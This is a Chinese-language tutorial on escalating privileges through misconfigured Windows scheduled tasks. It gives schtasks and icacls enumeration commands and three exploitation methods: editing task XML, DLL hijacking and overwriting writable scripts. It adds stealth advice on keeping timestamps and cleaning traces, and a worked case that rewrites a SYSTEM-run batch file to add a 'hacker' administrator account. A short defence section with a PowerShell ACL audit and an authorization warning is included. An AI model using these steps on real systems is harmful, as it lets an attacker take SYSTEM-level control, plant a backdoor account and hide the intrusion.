
1. Windows计划任务提权原理剖析在Windows系统中计划任务Task Scheduler是系统内置的任务自动化工具它允许用户和应用程序创建、配置和管理在指定时间或事件触发时自动执行的任务。这个看似平常的系统功能却可能成为权限提升的突破口。计划任务提权的核心原理在于当某个计划任务以高权限如SYSTEM或Administrator身份运行时如果普通用户能够修改该任务执行的内容或参数就可能实现权限提升。这种情况通常发生在以下两种场景任务配置不当管理员创建计划任务时错误配置了安全选项比如允许Authenticated Users修改任务属性路径劫持任务执行的程序或脚本所在目录权限设置不当允许普通用户写入重要提示在实际渗透测试中发现这类漏洞后必须获得明确授权才能进行利用未经授权的测试可能违反法律法规。2. 计划任务提权实战步骤2.1 信息收集阶段首先需要识别系统中存在的计划任务及其配置细节# 列出所有计划任务 schtasks /query /fo LIST /v # 查看特定任务详情 schtasks /query /tn \任务路径 /fo LIST /v重点关注以下信息运行身份Run As触发器Triggers操作Actions安全选项Security Options2.2 漏洞识别与分析通过分析收集到的信息寻找可能存在漏洞的任务可修改任务检查任务的ACL确认当前用户是否有修改权限icacls C:\Windows\System32\Tasks\任务名称可写路径检查任务执行的程序/脚本所在目录的权限icacls 程序路径高权限任务确认任务是否以SYSTEM或Administrator身份运行2.3 实际利用方法方法一直接修改任务内容如果当前用户有修改任务的权限# 导出任务配置 schtasks /query /tn \任务路径 /xml task.xml # 修改xml文件中的Actions部分替换为我们的payload # 然后重新导入 schtasks /create /tn \新任务名 /xml task.xml /f方法二DLL劫持如果任务执行的程序存在DLL劫持漏洞使用Process Monitor分析程序加载的DLL将恶意DLL放在程序搜索路径中优先加载的位置方法三路径劫持如果任务执行的脚本所在目录可写# 备份原脚本 copy 原脚本路径 备份路径 # 替换为我们的payload echo 恶意代码 原脚本路径3. 防御与检测方案3.1 安全配置建议最小权限原则计划任务只赋予必要的最小权限避免使用SYSTEM或Administrator等高权限账户路径安全确保任务执行的程序/脚本存放在安全目录设置严格的目录权限如仅允许Administrators组写入审核配置定期审核计划任务的ACL设置监控计划任务配置的变更3.2 检测方法使用PowerShell检测危险配置# 查找所有以高权限运行的任务 Get-ScheduledTask | Where-Object { $_.Principal.RunLevel -eq Highest } | Select-Object TaskName,Principal # 查找ACL设置不当的任务 Get-ChildItem C:\Windows\System32\Tasks -Recurse | ForEach-Object { $acl Get-Acl $_.FullName if ($acl.Access | Where-Object { $_.IdentityReference -notmatch BUILTIN\\Administrators|NT AUTHORITY\\SYSTEM -and $_.FileSystemRights -match Write|Modify|FullControl }) { $_.FullName } }4. 高级利用技巧与注意事项4.1 绕过限制的技巧时间差攻击有些任务只在特定时间运行可以在任务运行前替换内容运行后恢复原状利用任务触发器通过修改触发器条件提前或更频繁地触发任务例如将每月任务改为每分钟执行隐蔽性处理使用与原脚本相似的文件名保持文件时间戳不变执行后自动清理痕迹4.2 常见问题排查权限不足错误确认当前用户确实有修改权限尝试使用icacls命令详细查看ACL任务无法导入检查XML文件格式是否正确确认任务名称和路径符合规范payload未执行确认任务确实会按计划执行检查系统日志了解任务执行情况5. 实际案例演示假设我们发现一个名为CleanupTemp的计划任务每周日以SYSTEM权限运行执行位于C:\Scripts\cleanup.bat的脚本。经检查发现C:\Scripts目录允许Users组写入# 1. 查看目录权限 icacls C:\Scripts # 输出显示包含 BUILTIN\Users:(F) 表示完全控制 # 2. 备份原脚本 copy C:\Scripts\cleanup.bat C:\Scripts\cleanup.bat.bak # 3. 创建恶意脚本 echo echo off C:\Scripts\cleanup.bat echo net user hacker Pssw0rd /add C:\Scripts\cleanup.bat echo net localgroup administrators hacker /add C:\Scripts\cleanup.bat # 4. 等待任务执行或手动触发 schtasks /run /tn \CleanupTemp # 5. 验证 net user hacker这个案例展示了如何通过简单的路径劫持实现从普通用户到SYSTEM权限的提升。关键在于前期彻底的信息收集和准确的漏洞识别。